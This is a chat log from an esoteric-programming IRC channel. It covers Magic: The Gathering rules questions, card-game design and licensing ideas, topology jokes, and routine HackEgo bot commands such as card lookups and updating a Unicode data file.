02:34:17 <ais523> and thus that protection prevents it working
02:35:01 <ais523> I had a theory that maybe it works a bit like the early playtests of outlast did; during your combat phase, instead of attacking a player or a planeswalker with a creature, you can assemble a contraption with it
02:35:37 <ais523> hmm… if a planeswalker has protection from creatures, that doesn't stop creatures attacking it, right? because attacking isn't listed in the list of things protection stops
02:35:56 <ais523> so maybe protection wouldn't save the contraptions from assembly either
02:36:22 <ais523> one theory as to what assembly does is that the contraptions are permanently tapped when played, and assembling them is the only way to untap them
02:36:59 <shachaf> Seems odd to introduce an extra word for that.
02:37:07 <shachaf> But I guess it could be some other state.
02:37:40 <shachaf> Maybe a Contraption is an entity consisting of more than one object?
02:37:51 <shachaf> Well, that doesn't make that much sense.
02:38:17 <Etaoin> at what point does it stop being human error and the machine becomes responsible?
02:39:25 <ais523> shachaf: you'd have to introduce an extra word, if you wrote the rules out (say as reminder text) it would be something like "(Instead of attacking, this creature can untap a Contraption you control)"
02:39:52 <ais523> note that "instead of attacking" is kind-of needed, because otherwise it'd probably be an activated ability with a target
02:40:00 <quintopia> you get one guess at any of the things google autocompletes "how to catch up on" to
02:40:03 <ais523> and then steamflogger boss's text would look different
02:40:15 <shachaf> Why would it have to do with attacking?
02:41:09 <ais523> I needed some way for it to not be an activated ability
02:41:13 <ais523> which means it has to be a special action
02:41:23 -!- Phantom__Hoover has quit (Read error: Connection reset by peer).
02:41:24 <ais523> then I looked for something that would have a reason to be a special action rather than an activated ability
02:41:33 <ais523> replacing an attack is one way to do that, as that's a cost that an activated ability can't have
02:41:50 <shachaf> Why wouldn't it be an activated ability?
02:42:20 <ais523> how would you phrase this mechanic as an activated ability?
02:42:56 <ais523> (note that in early design, outlast replaced an attack, but it was changed to a sorcery-speed tap ability during development to make the way it worked clearer; that changes the way it works though)
02:43:15 <shachaf> Ah, that's what you meant.
02:44:03 <shachaf> I guess there wouldn't be a reason to say "assemble a Contraption" instead of just "assemble" for a lot of things I was thinking of.
02:44:47 <shachaf> How about: {T}: Assemble. "assemble" means you flip a coin or roll a die or something, and do different things depending on what you got.
02:45:04 <shachaf> A Contraption is a kind of token you might assemble.
02:45:46 <ais523> it probably doesn't work rules-grammatically, but the best design I've seen has "assemble a Contraption" mean "place a Contraption artifact token into play", and the cards that assemble contraptions have static abilities that grant abilities to contraptions
02:45:54 <ais523> in much the same way that slivers grant abilities to other slivers
02:46:04 <ais523> riggers grant abilities to contraptions
02:46:10 <shachaf> Why doesn't it work rules-grammatically?
02:46:22 <shachaf> The way I put it, with the random chance.
02:46:26 <ais523> steamflogger boss would be templated as "assemble an additional contraption"
02:46:38 <ais523> because the assembler wouldn't matter for that mechanic
02:47:05 <shachaf> Maybe it can assemble a contraption during combat, based on what creature is blocking it or something?
02:48:32 <shachaf> Seems like there are a lot of cases where the assembler could matter.
02:49:49 <Etaoin> have you guys ever tried putting ( ͡° ͜ʖ ͡°) into google translate and have it pronounce it?
02:50:10 <shachaf> I try not to put that anywhere.
02:50:21 <shachaf> Including my IRC channels.
02:50:29 <hppavilion[1]> nukeitfromspace
02:51:04 <shachaf> Oh, Contraption is an artifact type.
02:51:08 <shachaf> I didn't realize that.
02:57:39 <hppavilion[1]> `` nuke it --src=orbit
02:57:43 <HackEgo> ​/hackenv/bin/`: line 4: nuke: command not found
02:57:57 <hppavilion[1]> `? nuke it from orbit
02:57:58 <HackEgo> nuke it from orbit? ¯\(°​_o)/¯
02:58:14 <shachaf> why are you doing that
02:58:21 <shachaf> it would be just as good without the `
02:58:24 <shachaf> just less bot spam
03:00:06 <zzo38> I think that a planeswalker with protection from creatures can still be attacked, but will not receive any damage as a result of the attack.
03:01:26 <zzo38> But of course I do not know what "assemble" is. Contraption is a subtype of artifacts though; that is already defined.
03:02:45 <coppro> zzo38: correct about pro: creatures
03:03:48 <zzo38> I cannot think of anything that "assemble" might mean that would have SteamFlogger Boss to make sense anyways.
03:04:24 <hppavilion[1]> That moment when somebody tries to explain to you that you're wrong thinking that this number is big, and they give you a googol for comparison
03:04:35 <hppavilion[1]> After you said "I eat Graham's Number for breakfast"
03:04:43 <ais523> zzo38: I agree that it wouldn't receive damage, and hadn't thought of that before you mentioned it
03:05:05 <ais523> now I'm wondering if there's any way to give a planeswalker protection from creatures using existing cards
03:05:26 <ais523> (I have a strong suspicion that if there is, at least one of mycosynth lattice and enchanted evening will be involved)
03:06:02 <coppro> I know how to do it, but I'm going to see if there's a way without that ;)
03:06:47 <coppro> ah!
03:07:18 <coppro> have a teferi emblem, a gideon, a concerted effort, and a beloved chaplain
03:07:25 <coppro> animate gideon in response to concerted effort trigger
03:07:26 <shachaf> `card-by-name enchanted evening
03:07:28 <HackEgo> Enchanted Evening \ 3(w/u)(w/u) \ Enchantment \ All permanents are enchantments in addition to their other types. \ SHM-R
03:07:57 <ais523> I think there's a much easier way: animate gideon, enchant with spirit mantle
03:08:04 <ais523> (admittedly it falls off at end of turn, so it isn't very interesting, but you can do it)
03:08:20 <shachaf> `card-by-name spirit mantle
03:08:21 <HackEgo> Spirit Mantle \ 1W \ Enchantment -- Aura \ Enchant creature \ Enchanted creature gets +1/+1 and has protection from creatures. \ M12-U, PC2-U
03:08:55 <coppro> oh yeah, that works
03:08:58 <ais523> this is unless there's a gideon that can stay animated for multiple turns
03:09:03 <coppro> nope
03:09:10 <coppro> `card-by-name concerted effort
03:09:12 <HackEgo> Concerted Effort \ 2WW \ Enchantment \ At the beginning of each upkeep, creatures you control gain flying until end of turn if a creature you control has flying. The same is true for fear, first strike, double strike, landwalk, protection, trample, and vigilance. \ RAV-R
03:09:20 <coppro> though mine actually allows this to happen off-turn
03:11:09 <ais523> it's easier with un-cards
03:11:16 <ais523> as you can just use staying power to keep gideon animated indefinitely
03:11:23 <ais523> (that said, staying power doesn't actually work rules-wise, most likely)
03:11:23 <shachaf> `card-by-name staying power
03:11:27 <HackEgo> Staying Power \ 2W \ Enchantment \ As long as Staying Power is in play, "until end of turn" and "this turn" effects don't end. \ UNH-R
03:11:30 <ais523> (and even if it did it'd be completely broken)
03:11:58 <shachaf> What about a sorcery with an "until end of turn" version of Staying Power?
03:12:10 <shachaf> uncards are great
03:12:39 <ais523> shachaf: it'd still last forever, wouldn't it? :-P
03:12:48 <ais523> the enchantment version is at least removable
03:13:05 <zzo38> I once made up a card that says: Skip all cleanup steps.
03:13:08 <ais523> (actually I misremembered the card, I thought it was an instant that deleted "until end of turn" or "this turn" from cards)
03:13:30 <ais523> zzo38: does that prevent "until end of turn" effects ending?
03:13:51 <pikhq> Thankfully, as it's an UNH card, the comprehensive rules don't have to think about the exact implications of that card.
03:13:56 <ais523> actually, does it cause damage to stay marked permanently? I think it would but I'm not sure
03:14:30 <zzo38> Rule 514.2 ends "until end of turn" effects and removes all marked damage.
03:14:37 <ais523> this is why ending the turn doesn't skip the cleanup step, and why triggers during the cleanup step cause a second cleanup step after they resolve
03:14:37 <zzo38> That is part of the cleanup step.
03:14:52 <ais523> now I'm wondering if there's a way to get an infinite loop of cleanup steps
03:15:08 <moon__> Someone has generously offered to give hbot a server
03:15:35 <ais523> preferably a mandatory one (you could get an optional one if manamorphose got madness somehow and there was an ROE emrakul in your library)
03:15:49 <zzo38> Yes, the rules are that, if there are any pending triggers or state based actions during a cleanup step, then the active player gets priority; if any player gets priority during a cleanup step, then there is another cleanup step instead of the next turn.
03:15:58 <pikhq> ais523: Then you'd be able to force a tie.
03:16:00 <shachaf> ais523: What about a card that terminates an "until X" effect early?
03:16:12 <shachaf> I guess there's no way to specify effects.
03:16:19 <ais523> "target effect"?
03:16:28 <ais523> I don't see a reason why it wouldn't work in the rules, although I'm pretty sure they'd never print it
03:16:35 <zzo38> You can't target effects. Only players, objects, and zones can be targeted.
03:16:54 <ais523> but the only reason you can't target effects is that the rules say you can't
03:17:15 <shachaf> Do effects exist in some zone or something?
03:17:32 <shachaf> What are effects? We just don't know.
03:17:37 <ais523> ugh, Gatherer text search matches the name of a card if it's using it tor efer to itself
03:17:39 <ais523> *refer
03:17:56 <shachaf> What's wrong with that?
03:18:01 -!- spockers has quit (Quit: bye http://i.imgur.com/nkzOWAv.jpg).
03:18:02 <shachaf> It's at most one extra result.
03:18:45 <ais523> more than one if you're looking for a single word that exists within multiple card names
03:18:56 <ais523> fwiw, I've been vaguely considering writing my own TCG rules
03:19:04 <ais523> and I'd have cards use first-person pronouns to refer to themselves
03:19:05 -!- spockers has joined.
03:19:16 <ais523> it's short, clear, and doesn't change based on context
03:19:36 <shachaf> I'd play aistcg
03:19:52 <shachaf> Though I think the "trading card" aspect of mtg is kind of scow unless your goal is to make money.
03:19:58 <ais523> anyway, looks like it's only possible to give madness to cards that don't already have them if they're creatures
03:20:03 <Sgeo_> :( I searched for Pentagonal Dreams, and found a video claiming to be the Enigma OST. It is not.
03:20:08 <Sgeo_> https://www.youtube.com/watch?v=7y3s2sBr0qA
03:20:19 <ais523> Sgeo_: Enigma's OST is available from the source repo
03:20:37 <ais523> although pentagonal dreams is an s3m, which I had to convert to ogg to get my media player to understand it
03:21:38 <ais523> shachaf: I think the solution to that (if you even want to use the TCG model) is to have a cap on singles prices, implemented via a standing offer to sell any card for a given specific price, and just printing more cards to keep up with demand via that mechanism
03:21:38 <zzo38> One way to convert s3m->ogg is to use my "playmod" program, taking the s3m as input and pipe the output to sox and tell it to write a ogg format output.
03:21:50 <ais523> (a likely price would be around the price of a booster)
03:21:59 <ais523> alternatively you could use the LCG model, which I rather like
03:22:06 <zzo38> I don't like that either that it matches the name of the card to refer to itself, and I also don't like that reminder text is included and matched for searches in Gatherer.
03:22:35 <zzo38> I would use a different kind of model to make the card game and I think I have described it on here before.
03:22:51 <ais523> if you did, I either missed it or can't remember it
03:23:04 <ais523> hmm, perhaps I should write out the rules of my tcg/lcg/whatever
03:23:08 <shachaf> ais523: The solution to what? Making money?
03:23:19 <shachaf> ais523: You should.
03:23:23 <ais523> shachaf: the solution to singles prices going too high
03:23:36 <shachaf> Are your cards computer-interpretable?
03:23:44 <Sgeo_> Ok, so the YouTube video is espirit.ogg
03:24:40 <ais523> shachaf: my current thoughts have been that all abilities are keyworded, but reminder text has rules meaning and so the keywords don't need to be placed in the rules unless they're defined without reminder text
03:24:43 -!- kalippo has joined.
03:24:45 <izabera> `welcome kalippo
03:24:46 <ais523> I'm not sure if the reminder text would be machine-readable
03:24:48 <HackEgo> kalippo: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/>. (For the other kind of esoterica, try #esoteric on EFnet or DALnet.)
03:24:58 <ais523> there's tension between that, and making it fit on the card
03:25:11 <ais523> OTOH the keywords would be machine-readable but you'd still have to program their effects separately
03:25:22 <shachaf> I'd be happier with keywords being part of a standard library rather than a core language.
03:25:36 <ais523> well, the idea is
03:25:40 <ais523> you make up a new card effect
03:25:47 <ais523> if it's never seen before you make up a new keyword name to go with it
03:25:56 <ais523> that way, you don't have to decide in advance whether you want to be able to care about it or not
03:26:20 <ais523> (this should fix the problem with M:tG tribal, hopefully, where they decided it was a failure as it wasn't retrofitted onto cards that should have had it)
03:27:21 <pikhq> I'm fairly fond of the LCG model, personally.
03:27:24 <ais523> I wouldn't define keywords in the rules, probably more like in some sort of "evergreen keywords booklet" that would be included in the rules for convenience
03:27:34 <ais523> like, shipped together
03:27:37 <ais523> rather than officially part of it
03:28:06 <zzo38> I would have a different kind. There is no reminder text. Keywords are defined in the rules, and the rules include computer code. There is also computer codes available per cards, both keyword and non-keyword effects. No booster packs; purchase a "set box", containing cards (grouped by rarity), rule book, a list of cards (to check if any are missing), and a DVD with all the computer codes to implement it.
03:28:25 <shachaf> But my computers don't have DVD drives.
03:28:41 <zzo38> Then you can download the same file from the internet.
03:29:01 <shachaf> I don't have a Gopher client either.
03:29:22 <izabera> there are several ff extensions
03:29:46 <zzo38> (If you have neither DVD nor internet, then too bad; you will have to retype it, or get someone to copy it to a media your computer does support.)
03:30:03 <hppavilion[1]> "A gazelle is just a giraffe, plotted logarithmically"
03:30:06 <hppavilion[1]> `? gazelle
03:30:07 <HackEgo> gazelle? ¯\(°​_o)/¯
03:30:12 <ais523> anyway, two of my main focuses were to ensure that a) there's no hidden gamestate, you can always determine the gamestate by looking at where the cards are; b) the number of instances at which you can make a decision is fairly limited, and in particular if mechanics like priority are needed they're a visible part of the game rather than an obscure rule
03:30:13 <Sgeo_> LCG?
03:30:14 <zzo38> You don't need the Firefox extension. You can use nc or curl to download the file (and it may be available over multiple protocols)
03:30:22 <hppavilion[1]> `learn A Gazelle is just a giraffe, plotted logarithmically
03:30:27 <HackEgo> Learned 'gazelle': A Gazelle is just a giraffe, plotted logarithmically
03:30:32 <ais523> Sgeo_: LCG is basically like a TCG, but cards are distributed as playsets of entire blocks rather than booster packs
03:30:35 <izabera> you get a much better ux with ff
03:30:53 <shachaf> ais523: If the game is implemented on a computer, you can create token-style cards to represent ongoing effects and so on much more easily.
03:30:56 <ais523> in Magic: the Gathering, very few people buy, say, a playset of every card in BFZ
03:31:08 <ais523> you can do it but it's incredibly expensive and not normally worth it
03:31:14 <hppavilion[1]> Topologically, a human is just a torus
03:31:16 <ais523> in an LCG, doing that is much cheaper and the normal way to obtain cards
03:31:21 <hppavilion[1]> (Think about it; you know I'm right)
03:31:27 <Sgeo_> ais523, this kills pay2win?
03:31:29 <ais523> hppavilion[1]: it's a multi-holed torus
03:31:31 <izabera> hppavilion[1]: that's gross, stop it
03:31:32 <ais523> Sgeo_: yes
03:31:36 <Sgeo_> :D
03:31:41 <hppavilion[1]> ais523: Where are the other holes?
03:31:41 <ais523> although M:tG is more pay-to-compete
03:31:51 <hppavilion[1]> The nose is... wait... hm...
03:31:55 <ais523> there's a ceiling beyond which spending more doesn't increase your odds of winning
03:32:06 <ais523> hppavilion[1]: nose, ears, mouth are all connected
03:32:10 <hppavilion[1]> Huh, I suppose you can't merge nostrils with the mouth
03:32:21 <hppavilion[1]> Wait, can you? I'm not sure
03:32:23 <hppavilion[1]> I don't think so
03:32:34 <shachaf> Humans are significantly more complicated, even up to homeomorphism.
03:32:50 <zzo38> For my card game design the computer would be optional. But it does help, because the computer code for the game can define the rules precisely and clearly enough. It can be literate programming, in order to print out the book with computer codes too, to read it and do even without computer.
03:33:01 <hppavilion[1]> shachaf: We're pretending that humans are solid, aside from the open areas a camera could get to by going in through any exposed orifices
03:33:06 <ais523> I think a computer helps because you often want to play the game remotely
03:33:30 <hppavilion[1]> ais523: Is there a proper topological way to merge the nostrils into the mouth?
03:33:32 <zzo38> You will have to pay extra if you want to use the official servers. If you implement your own server then the game can be played for free on computer.
03:33:40 <hppavilion[1]> Ears are obviously irrelevant, because they stop partway into the body
03:34:00 <hppavilion[1]> @massages-proud
03:34:00 <lambdabot> Unknown command, try @list
03:34:06 <hppavilion[1]> @massages-aloud
03:34:06 <lambdabot> You don't have any messages
03:35:39 <shachaf> zzo38: Why not make money by selling advertisements and users' personal information?
03:36:26 <hppavilion[1]> I woke up today and realized I should start a megachurch
03:36:37 <hppavilion[1]> I'm an atheist who wants a shitton of money and I have flexible morals
03:36:44 <hppavilion[1]> Megachurch is the way to go
03:36:46 <izabera> how is a megachurch different from a church?
03:36:54 <hppavilion[1]> izabera: It's bigger and more profit-oriented
03:37:19 <hppavilion[1]> It's basically a way to mass-produce normal churching, AND turn a profit doing it
03:37:42 <shachaf> if only your morals were flexible enough for a gigachurch
03:38:03 <zzo38> shachaf: That is a possibility, although I do not like that. Even in any case, advertisements and/or payment and/or whatever is only for the official servers and not if you set up your own.
03:38:06 <hppavilion[1]> shachaf: That's phase 3
03:38:13 <hppavilion[1]> shachaf: Phase 1 is a kilochurch
03:38:14 <izabera> hppavilion[1]: https://www.youtube.com/watch?v=7y1xJAVZxXg
03:38:30 <zzo38> (If you set up your own, they can be used on LAN as well as internet, and possibly other things too if you modify the program to support them.)
03:38:52 <shachaf> zzo38: But you could forbid users from running the game on their own, you can make more money.
03:38:57 <shachaf> s/could //
03:39:25 <zzo38> No. It should be possible everyone can do, so that it is free (as in speech), and to make the rules understandable.
03:40:01 <zzo38> Still, such things as ratings and fancy graphcs and sound effect are only available on the official server (unless someone implement clones of these features).
03:40:18 -!- Etaoin has quit (Quit: swooooosh~~~).
03:40:41 <zzo38> (And, of course, official server also help to do play against random opponent, and stuff like that too.)
03:42:01 <shachaf> Why shouldn't fancy graphics be free as in speech?
03:42:03 <zzo38> So, both official and unofficial has their own exclusive features even though both include open-source rules for the game.
03:42:21 <ais523> shachaf: M:tG has at least two unofficial clones that haven't been shut down yet even though they're blatant copyright infringements
03:42:23 <zzo38> shachaf: It can, if someone makes an unofficial version of such thing! Otherwise it is not.
03:42:33 <ais523> (and IIRC WotC(aHS) is trying to shut down at least one)
03:42:41 <shachaf> ais523: Aren't there also a bunch of clones that have been shut down?
03:42:54 <ais523> not to mention games like Hex which are M:tG with the serial numbers filed off and just enough rules changes to dodge patents
03:43:06 <ais523> shachaf: I can't remember the details, IIRC it's complex
03:43:20 <ais523> it might have been that a website distributing one was shut down but the program itself is still developed by other means, or something like that
03:43:41 <zzo38> I think it is that binaries are not distributed and you must compile from source, or something like that?
03:44:52 <zzo38> Some things usable only with unofficial servers for my design would be LAN play, experimental custom cards/sets, custom rule variants, etc.
03:45:56 <shachaf> Wouldn't you rather make more money by forbidding that?
03:46:28 <zzo38> Some things usable only with official servers would be ratings, global leaderboards, fancy sound effects and graphics, automatic updates, play against random opponent, lobby, etc.
03:46:50 <zzo38> shachaf: The goal would be to make a card game, not to earn money, though. Earn money is secondary.
03:49:47 <zzo38> (The rules engine would be 100% FOSS so you are free to examine it to learn the rules better, modify it, port it to another computer, or whatever else you want. It may be AGPL3 in order to provide some kind of business protection as well as FOSS, so that any modified games you host to public cannot be made secret.)
03:50:05 <moon__> Hbot is offically on a dedicated server
03:55:31 -!- hppavilion[1] has quit (Ping timeout: 240 seconds).
03:56:10 <zzo38> One reason to omit the fancy graphics and sound effects for the free version is to reduce disk space and memory usage. There can be a license exception like: The company that design this game is allowed to give anyone permission (possibly with conditions attached) to use this software under LGPL3 instead. If you modify this program, you may choose to either keep or remove this exception.
04:01:57 <zzo38> This is not quite enough. It also need to say that this additional permission cannot remove the requirement that anyone who exposes the program that links to it, whether on a server or otherwise, must still release the source code of the rules engine and card data including changes made, under AGPL3 or later version.
04:02:20 <moon__> oh nohs, long lecture
04:02:25 <oerjan> `slwd gazelle//s,G,g,;s,$,.,
04:02:28 <HackEgo> wisdom/gazelle//A gazelle is just a giraffe, plotted logarithmically.
04:02:38 <oerjan> `? humans
04:02:39 <ais523> zzo38: I think you just AGPL3 everything you distribute open-source, no exceptions
04:02:39 <HackEgo> humans? ¯\(°​_o)/¯
04:02:43 <zzo38> ("Card data" here may omit favor texts, pictures, etc; only the features used in the game (including computer codes) must be released.
04:02:48 <ais523> and use a commercial license for the fancy graphics version
04:02:56 -!- kalippo has quit (Quit: Page closed).
04:02:58 <oerjan> `learn Humans are significantly more complicated, even up to homeomorphism.
04:03:03 <HackEgo> Learned 'human': Humans are significantly more complicated, even up to homeomorphism.
04:04:48 <zzo38> ais523: Yes, that is a possibility. However, this way I suggested would ensure that the rules match (and therefore there are no hidden game rules), and that if someone experiments with custom rules and they become successful, that they can be included in the official server too.
04:05:11 <ais523> zzo38: the company could use different rules in their released binaries anyway
04:05:24 <ais523> GPL variants don't help there because a company can't infringe their own copyright
04:05:44 <ais523> although if you want to take in community suggestions about rules, you'd either need copyright assignment or to reimplement them
04:06:55 <oerjan> @tell hppavilion[1] I believe you can use the Seifert-van Kampen theorem to prove that human noses and mouths cannot be topologically merged hth
04:06:55 <lambdabot> Consider it noted.
04:08:28 <oerjan> @tell hppavilion[1] (how to split up a human for the theorem is left as an exercise)
04:08:28 <lambdabot> Consider it noted.
04:09:53 <shachaf> wisdom/gazelle seems unjustified.
04:10:05 <zzo38> The purpose of the removable license exception would be so that as long as people who make rule variants do not object to it, they can be included in the official veration. Also I would insist to make it that the free and commercial versions of the computer game would use the exact same rules, although the user interface (and other options that do not affect the game rules) may differ; the paper version would also use the exact same rules (this is
04:10:06 <shachaf> Are we just wholesale lifting punchlines from online comics to put in wisdom now?
04:10:34 <ais523> shachaf: you could make the argument that the quality of wisdom is impossible to significantly decrease
04:10:49 <shachaf> I don't think that's true.
04:10:52 <shachaf> There's a lot of great wisdom.
04:11:01 <shachaf> `rm wisdom/gazelle
04:11:07 <HackEgo> No output.
04:11:15 <shachaf> plagiarism
04:11:57 <shachaf> oerjan: what if a human has a cold, though
04:13:55 <oerjan> "Good artists borrow, great artists steal" - 1/0
04:23:27 <izabera> http://www.catonmat.net/ good coders code, great reuse
04:23:49 <izabera> and it's 5:23 am and i'm late for work
04:24:30 <oerjan> <Etaoin> is it possible to define a logical not function from f(x,y) = if x then y else 0? <-- post classes hit again!
04:24:38 <oerjan> (that's just and, anyway)
04:26:28 -!- erdic has quit (Ping timeout: 252 seconds).
04:27:14 -!- erdic has joined.
04:29:44 -!- augur has quit (Remote host closed the connection).
04:30:27 <ais523> and is strictly increasing, so you can't use it to define not (which is strictly decreasing)
04:31:40 <ais523> err, just regularly increasing
04:33:15 -!- moon__ has quit (Ping timeout: 276 seconds).
04:37:26 -!- Akaibu has quit (Quit: Connection closed for inactivity).
04:43:46 -!- moon_ has joined.
04:45:45 -!- ais523 has quit.
04:48:31 <oerjan> `file bin/unidecode
04:48:38 <HackEgo> bin/unidecode: Python script, ASCII text executable
04:48:46 <oerjan> `cat bin/unidecode
04:48:47 <HackEgo> ​#!/usr/bin/env python \ import os, sys \ import unicodedata \ s = u" ".join("[U+{0:04X} {1}]".format(ord(c), unicodedata.name(c, "DUNNO")) for c in " ".join(sys.argv[1:]).decode("utf-8")).encode("utf-8") \ if u"DUNNO" in s: \ os.execvp("multicode", ["multicode"] + sys.argv[1:]) \ else: \ print s
04:49:02 <oerjan> `which python
04:49:03 <HackEgo> ​/usr/bin/python
04:49:14 -!- Kaynato has quit (Ping timeout: 244 seconds).
04:49:29 <oerjan> `file bin/multicode
04:49:30 <HackEgo> bin/multicode: Python script, ASCII text executable
04:49:40 <oerjan> `cat bin/multicode
04:49:41 <HackEgo> ​#!/usr/bin/python \ \ \ import os, glob, sys, unicodedata, locale, gzip, re, traceback, encodings \ import urllib, webbrowser, textwrap \ \ # bz2 was introduced in 2.3, we want this to work also with earlier versions \ try: \ import bz2 \ except ImportError: \ bz2 = None \ \ # for python3 \ try: \ unicode \ except NameError: \
04:49:58 <oerjan> `url bin/multicode
04:50:01 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/bin/multicode
04:52:09 <oerjan> `` ls -l share/U*
04:52:13 <HackEgo> ​-rw-r--r-- 1 5000 0 1367023 Jan 13 01:31 share/UnicodeData.txt
04:54:35 <moon_> I managed to lock myself out of hbot's ssh, im an idiot
04:56:40 <oerjan> `fetch http://ftp.unicode.org/Public/9.0.0/ucd/UnicodeData.txt
04:56:48 <HackEgo> 2016-06-27 03:56:44 URL:http://ftp.unicode.org/Public/9.0.0/ucd/UnicodeData.txt [1686443/1686443] -> "UnicodeData.txt" [1]
04:57:02 <oerjan> `` mv Unic* share
04:57:07 <HackEgo> No output.
04:57:18 <oerjan> `unidecode 🤔
04:57:40 <HackEgo> U+1F914 THINKING FACE \ UTF-8: f0 9f a4 94 UTF-16BE: d83edd14 Decimal: &#129300; \ 🤔 \ Category: So (Symbol, Other) \ Bidi: ON (Other Neutrals) \ \ U+FEFF ZERO WIDTH NO-BREAK SPACE \ UTF-8: ef bb bf UTF-16BE: feff Decimal: &#65279; \  \ Category: Cf (Other, Format) \ Bidi: BN (Boundary Neutral)
04:57:42 <oerjan> yay
05:01:37 <oerjan> `len 🤔
05:01:42 <HackEgo> 2 codepoints \ 3 Java characters \ 7 UTF-8 bytes
05:04:39 <oerjan> *strikes
05:04:52 <oerjan> *-s
05:10:49 <oerjan> gil is not in a gentle mood
05:12:46 <pikhq> "Java characters" is a weird way of spelling "UTF-16 code units".
05:14:15 <shachaf> oerjan: ?
05:14:31 <oerjan> shachaf: gilgamesh wulfenbach hth
05:14:52 <shachaf> dyrttwh
05:15:11 <oerjan> well it's googleable
05:15:18 <shachaf> oh
05:15:23 <shachaf> tadh
05:15:39 <shachaf> I thought you were talking about Unicode.
05:15:54 -!- augur has joined.
05:15:59 <oerjan> no, i already fixeded that hth
05:16:04 <quintopia> i'm about to draw a picture as a test. something simple. what should it be?
05:16:20 <oerjan> quintopia: a dinosaur on a spaceship
05:16:39 <quintopia> like the smbc thing?
05:16:50 <oerjan> well that's just one iteration.
05:17:08 <oerjan> it goes back at least to calvin and hobbes
05:17:25 <oerjan> probably longer. i think we've had this discussion before.
05:19:04 <quintopia> http://static1.squarespace.com/static/541277b1e4b0061967ff2720/5753fe5440261dd73fe3c939/57540165fd2119480bcbb198/1465123175860/?format=750w
05:19:07 <quintopia> so this
05:20:32 <oerjan> AAAAAAAAAAAAAAAAA
05:27:22 <izabera> https://github.com/NationalSecurityAgency/SIMP
05:29:01 -!- iaglium has quit (Ping timeout: 244 seconds).
05:30:06 <oerjan> "This organization has no public members. You must be a member to see who’s a part of this organization."
05:30:12 <oerjan> yeah, i bet.
05:31:44 -!- iaglium has joined.
05:34:28 -!- hppavilion[1] has joined.
05:39:22 <hppavilion[1]> Huh, apparently "thing that turns me on" does not constitute "fetish"- it has to be absolutely necessary. Weird.
05:41:33 -!- bb010g has joined.
05:44:55 <izabera> what
05:44:57 <hppavilion[1]> xkcd 1053 is the most relevant xkcd at 6.3% of detected references
05:45:26 <hppavilion[1]> (That's the 10000 one, so I can see why it's relevant)
05:45:41 <hppavilion[1]> A distant second is 37 (hyphen) at about 3.2$
05:45:46 <hppavilion[1]> *%
05:48:09 <hppavilion[1]> Most relevant xkcd references are on "other" subreditts that each constitute <1% of xkcd relevancy references
05:48:29 <hppavilion[1]> (63%)
05:48:41 <hppavilion[1]> AskReddit forms second place at 14%
06:14:21 <izabera> idea: playing go but each player must put down two stones per turn
06:28:11 -!- hppavilion[1] has quit (Ping timeout: 240 seconds).
06:32:56 <myname> sounds broken
06:33:03 <myname> there are interesting go variants
06:34:06 <myname> my favorite: once per turn, your opponent might request that you make a move other than that move you did
06:35:09 <oerjan> "per turn"?
06:35:39 -!- lambda-11235 has quit (Quit: Bye).
06:35:51 <myname> turn being: thing you made before your opponents put something on the board
06:36:13 <izabera> why does it sound broken?
06:36:23 <myname> you are always trying to make the second-best move that way
06:37:03 <myname> izabera: because you can clear a group and secure your position there in the same turn?
06:37:30 <izabera> and so does your opponent in their turn
06:37:55 <izabera> your argument is "because standard go tactics don't work"?
06:38:23 <myname> well, yeah, but i'd say you have a huge disadvantage as soon as your opponent is the first in doing so
06:39:09 <myname> because if your opponent captures and secures your group, you probably can't do the same, because there may nothing to capture
06:40:01 <myname> i might ask a reasonable advanced player i know
06:40:14 <izabera> how advanced?
06:40:46 <myname> second best german player once
06:40:57 <izabera> wow :o
07:24:55 -!- Nathan2055 has quit (Quit: Connection closed for inactivity).
07:30:46 -!- PinealGlandOptic has joined.
07:36:56 -!- oerjan has quit (Quit: leaving).
07:42:39 -!- MoALTz has joined.
07:51:01 <PinealGlandOptic> hi everyone! what are CPU archs in which general purpose registers has different size than address registers? example: Cray-1: 64-bit GPRs and 24-bit address registers.
07:51:31 -!- J_Arcane has quit (Quit: ChatZilla 0.9.92-rdmsoft [XULRunner 35.0.1/20150122214805]).
07:54:07 <pikhq> All of the 8-bit CPUs?
07:54:24 <PinealGlandOptic> pikhq: yes, thanks
07:54:26 <pikhq> (which had 8-bit GPRs, and typically 16 bit address registers)
08:33:45 <shachaf> `? canada
08:33:58 <HackEgo> Canada is Big Scotland. Like, you know, very big.
08:35:27 <izabera> does anyone know how to whitelist 192.168.* in noscript?
08:40:01 -!- bender has joined.
08:40:51 -!- PinealGlandOptic has quit (Quit: leaving).
08:57:44 -!- Frooxius has joined.
09:27:32 <b_jonas> wow, a Hannelore dragon
09:27:41 <b_jonas> ohai, ais523
09:32:11 <b_jonas> boily: that's a quote from http://www.irregularwebcomic.net/1458.html
09:40:33 -!- augur has quit (Remote host closed the connection).
09:44:51 -!- hppavilion[1] has joined.
09:46:24 -!- ^v has quit (Quit: ZNC - http://znc.in).
09:47:59 -!- ^v has joined.
09:49:05 <hppavilion[1]> Ha! The International Union for the Conservation of Nature classifies humans as "Least Concern" on their endangered species red list
09:49:47 -!- bb010g has quit (Quit: Connection closed for inactivity).
09:53:06 <^v> woot
09:53:13 <^v> rDNS ftw
09:58:19 <lifthrasiir> hppavilion[1]: aka "I don't care, they will be probably fine"
09:58:39 <hppavilion[1]> lifthrasiir: It's weird
09:58:58 <lifthrasiir> hppavilion[1]: they just choose to put a label to "None" case
09:59:04 <hppavilion[1]> lifthrasiir: Shouldn't humans be "Most Concern"? As in, "They're the ones fucking everything up in the first place"?
10:00:42 <lifthrasiir> hppavilion[1]: in terms of conversation humans require negative amount of converstaion
10:01:39 -!- Phantom_Hoover has joined.
10:02:17 -!- Phantom__Hoover has joined.
10:06:29 -!- Phantom_Hoover has quit (Ping timeout: 260 seconds).
10:16:27 <b_jonas> `wisdom
10:16:49 <HackEgo> the//the Toe of Harriness's Enclosure
10:17:24 <hppavilion[1]> Ranked pairs voting is resolvable in O(N^4) time. Wow.
10:17:55 <hppavilion[1]> Better than the Keme­ny-Young's O(N!) time
10:18:11 <hppavilion[1]> But there is one resolvable in O(1) time
10:40:48 <b_jonas> `wisdom
10:40:53 <HackEgo> arothmorphise//arothmorphise ... antormo... antrohm... ant... oh bugger. This should go in the `misspellings of antrhrop... atnhro...' entry.
10:41:36 <b_jonas> lol
10:41:38 <b_jonas> `random-card
